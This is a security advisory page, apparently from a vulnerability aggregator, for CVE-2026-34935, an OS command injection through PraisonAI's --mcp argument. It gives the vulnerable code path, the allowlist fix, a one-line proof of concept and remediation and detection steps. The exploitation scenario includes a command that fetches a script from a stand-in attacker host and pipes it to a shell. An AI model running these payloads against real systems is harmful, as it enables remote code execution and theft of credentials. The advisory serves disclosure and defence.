CVE-2026-34935: PraisonAI: unvalidated --mcp arg allows OS command RCE
GHSA-9gm9-c8mq-vq7mCRITICALPoC AVAILABLEPraisonAI versions 4.5.15 through 4.5.68 pass the `--mcp` CLI argument straight into `shlex.split()` and then to `anyio.open_process()` without any allowlist or validation, so anyone who can influence that argument runs arbitrary OS commands as the process user. The CVSS is 9.8 and the PoC is a one-liner, but exposure depends on whether untrusted input reaches the CLI flag, for example through wrappers, CI jobs, or orchestration code that builds the command line. Exploitation likelihood is currently low to moderate (EPSS 0.8%, top 42%), the CVE is not in CISA KEV, and no public exploit or Nuclei template is tracked. Downstream blast radius is small (1 tracked dependent), but the package has 196 other CVEs, which points to a weak security track record. Upgrade to praisonai 4.5.69 or later, which restricts MCP commands to npx, uvx, node and python, and audit any automation that builds `--mcp` values from external input.
What is the risk?
Severity is critical on paper (CVSS 9.8, network, no privileges, no user interaction), but real-world risk hinges on whether attacker-controlled data can reach the `--mcp` argument. A local CLI invoked by a trusted developer is low risk. Wrappers, web front-ends, chat-driven agents or CI pipelines that pass external strings into the flag are high risk. Short-term exploitation probability is modest (EPSS 0.00839, no KEV, no public exploit tracked). The PoC is trivial, so weaponization is easy once a reachable injection point exists. The project's 196 other CVEs suggest recurring input-validation weaknesses.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | >= 4.5.15, < 4.5.69 | 4.5.69 |
Do you use PraisonAI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step1) Upgrade praisonai to 4.5.69 or later (affected range: >= 4.5.15, < 4.5.69). 2) Inventory scripts, CI jobs, services and wrappers that invoke
praisonai --mcpand check whether any part of the value comes from user, webhook, chat or repository-controlled input. 3) Until patched, hardcode MCP server commands and never build them from external input. 4) Run agent processes as least-privileged users in sandboxed containers with minimal secrets and restricted egress. 5) Detect: hunt for praisonai processes spawning shells or unexpected children (bash, sh, curl, wget, nc), and review command-line logs for--mcpvalues outside npx, uvx, node and python. 6) Rotate secrets on any host where suspicious invocations are found.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-34935?
PraisonAI versions 4.5.15 through 4.5.68 pass the `--mcp` CLI argument straight into `shlex.split()` and then to `anyio.open_process()` without any allowlist or validation, so anyone who can influence that argument runs arbitrary OS commands as the process user. The CVSS is 9.8 and the PoC is a one-liner, but exposure depends on whether untrusted input reaches the CLI flag, for example through wrappers, CI jobs, or orchestration code that builds the command line. Exploitation likelihood is currently low to moderate (EPSS 0.8%, top 42%), the CVE is not in CISA KEV, and no public exploit or Nuclei template is tracked. Downstream blast radius is small (1 tracked dependent), but the package has 196 other CVEs, which points to a weak security track record. Upgrade to praisonai 4.5.69 or later, which restricts MCP commands to npx, uvx, node and python, and audit any automation that builds `--mcp` values from external input.
Is CVE-2026-34935 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-34935, increasing the risk of exploitation.
How to fix CVE-2026-34935?
1) Upgrade praisonai to 4.5.69 or later (affected range: >= 4.5.15, < 4.5.69). 2) Inventory scripts, CI jobs, services and wrappers that invoke `praisonai --mcp` and check whether any part of the value comes from user, webhook, chat or repository-controlled input. 3) Until patched, hardcode MCP server commands and never build them from external input. 4) Run agent processes as least-privileged users in sandboxed containers with minimal secrets and restricted egress. 5) Detect: hunt for praisonai processes spawning shells or unexpected children (bash, sh, curl, wget, nc), and review command-line logs for `--mcp` values outside npx, uvx, node and python. 6) Rotate secrets on any host where suspicious invocations are found.
What systems are affected by CVE-2026-34935?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, MCP client integrations, agent orchestration pipelines, CI/CD-integrated AI automation.
What is the CVSS score for CVE-2026-34935?
CVE-2026-34935 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 0.84%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0049Exploit Public-Facing ApplicationAML.T0050Command and Scripting InterpreterAML.T0053AI Agent Tool InvocationCompliance Controls Affected
What are the technical details?
Original Advisory
### Summary The `--mcp` CLI argument is passed directly to `shlex.split()` and forwarded through the call chain to `anyio.open_process()` with no validation, allowlist check, or sanitization at any hop, allowing arbitrary OS command execution as the process user. ### Details `cli/features/mcp.py:61` (source) -> `praisonaiagents/mcp/mcp.py:345` (hop) -> `mcp/client/stdio/__init__.py:253` (sink) ```python # source parts = shlex.split(command) # hop cmd, args, env = self.parse_mcp_command(command, env_vars) self.server_params = StdioServerParameters(command=cmd, args=arguments) # sink process = await anyio.open_process([command, *args]) ``` Fixed in commit `47bff65413beaa3c21bf633c1fae4e684348368c` (v4.5.69) by introducing a command allowlist: ```python ALLOWED_COMMANDS = {"npx", "uvx", "node", "python"} if cmd not in ALLOWED_COMMANDS: raise ValueError(f"Disallowed command: {cmd}") ``` ### PoC ```python # tested on: praisonai==4.5.48 # install: pip install praisonai==4.5.48 # run: praisonai --mcp "bash -c 'id > /tmp/pwned'" # verify: cat /tmp/pwned # expected output: uid=1000(...) gid=1000(...) groups=1000(...) ``` ### Impact Any deployment where the `--mcp` argument is influenced by untrusted input is exposed to full OS command execution as the process user. No authentication is required.
Exploitation Scenario
An organization exposes an internal service or chat bot that lets users register MCP tool servers by passing a command string to a PraisonAI-based agent runner, which launches `praisonai --mcp "<user value>"`. An attacker supplies `bash -c 'curl https://attacker.example/x.sh | sh'` as the MCP server command. PraisonAI parses it with shlex and spawns it via anyio.open_process, executing the payload with the runner's privileges. The attacker then harvests LLM API keys and cloud credentials from the environment and moves laterally to connected data stores and pipelines.
Weaknesses (CWE)
CWE-78 — Improper Neutralization of Special Elements used in an OS Command: The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command before it is sent to a downstream component.
- [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
- [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HReferences
- github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368c
- github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9gm9-c8mq-vq7m
- github.com/advisories/GHSA-9gm9-c8mq-vq7m
- github.com/pypa/advisory-database/tree/main/vulns/praisonai/PYSEC-2026-471.yaml
- nvd.nist.gov/vuln/detail/CVE-2026-34935
- pypi.org/project/praisonai
Timeline
Related Vulnerabilities
CVE-2026-4816810.0PraisonAI: shell injection in Claude Action enables RCE
Same package: praisonaiCVE-2026-6144710.0PraisonAI: RCE via unsandboxed LLM code execution
Same package: praisonaiCVE-2026-614459.9PraisonAI: AICoder root RCE via unsanitized tool calls
Same package: praisonaiGHSA-vmmj-pfw7-fjwp9.9praisonai: sandbox escape gives RCE via codeMode tool
Same package: praisonaiCVE-2026-473929.9praisonaiagents: RCE via Python sandbox bypass
Same package: praisonai